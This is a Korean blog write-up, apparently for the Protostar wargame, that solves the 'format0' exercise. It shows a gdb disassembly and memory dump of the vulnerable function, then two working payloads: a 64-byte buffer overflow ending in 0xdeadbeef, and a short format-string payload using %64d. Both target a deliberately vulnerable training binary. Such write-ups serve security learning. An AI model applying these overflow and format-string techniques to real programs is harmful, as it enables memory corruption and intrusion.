본문 바로가기

워게임/protostar

format0

0x080483fa <vuln+6>: mov    DWORD PTR [ebp-0xc],0x0

0x08048401 <vuln+13>: mov    eax,DWORD PTR [ebp+0x8]

0x08048404 <vuln+16>: mov    DWORD PTR [esp+0x4],eax

0x08048408 <vuln+20>: lea    eax,[ebp-0x4c]

0x0804840b <vuln+23>: mov    DWORD PTR [esp],eax

0x0804840e <vuln+26>: call   0x8048300 <sprintf@plt>

0x08048413 <vuln+31>: mov    eax,DWORD PTR [ebp-0xc]

0x08048416 <vuln+34>: cmp    eax,0xdeadbeef

0x0804841b <vuln+39>: jne    0x8048429 <vuln+53>

0x0804841d <vuln+41>: mov    DWORD PTR [esp],0x8048510

0x08048424 <vuln+48>: call   0x8048330 <puts@plt>

0x08048429 <vuln+53>: leave  

0x0804842a <vuln+54>: ret    

End of assembler dump.


입력한 값은 ebp+0x8에 주소가 저장되어있고 ebp-0x4c에 저장됨.


ebp-0xc에 있는 값이랑 0xdeadbeef랑 비교한다고함


(gdb) x/10x $ebp-0xc

0xbffff75c: 0x00000000 0xb7fd8304 0xb7fd7ff4 0xbffff788

0xbffff76c: 0x08048444 0xbffff977 0xb7ff1040 0x0804846b

0xbffff77c: 0xb7fd7ff4 0x08048460

(gdb) x/x $ebp-0x4c

0xbffff71c: 0x41414141


대략 0x40바이트의 갭이 있음 즉 64바이트의 더미를 넣고 \xef\xbe\xad\xde를 넣어주면 풀리게 됨.


user@protostar:/opt/protostar/bin$ ./format0 `perl -e 

'print "A"x64, "\xef\xbe\xad\xde"'`

you have hit the target correctly :)


근데 단순 bof문제가 아닌 format string을 응용해야하는 문제.. 다른 블로그 참고해봐도 10바이트 미만으로 페이로드를 쓰라고한다.

정확히는 10바이트 미만의 값이 input으로 전달되야한다.


따라서 다음과 같은 방법을 통해 풀 수 있다.


user@protostar:/opt/protostar/bin$ ./format0 `perl -e 'print "%64d\xef\xbe\xad\xde"'`

you have hit the target correctly :)


%64d를 이용해 sprintf를 위한 64바이트의 인자 공간을 확보함으로써 버퍼 공간을 채울 수 있기 때문이다.


이후엔 bof와 같은 방식으로 풀 수 있다.

'워게임 > protostar' 카테고리의 다른 글

format2  (0) 2015.11.03
format1  (0) 2015.11.03
heap3  (0) 2015.10.30
heap2  (0) 2015.10.30
heap1  (0) 2015.10.30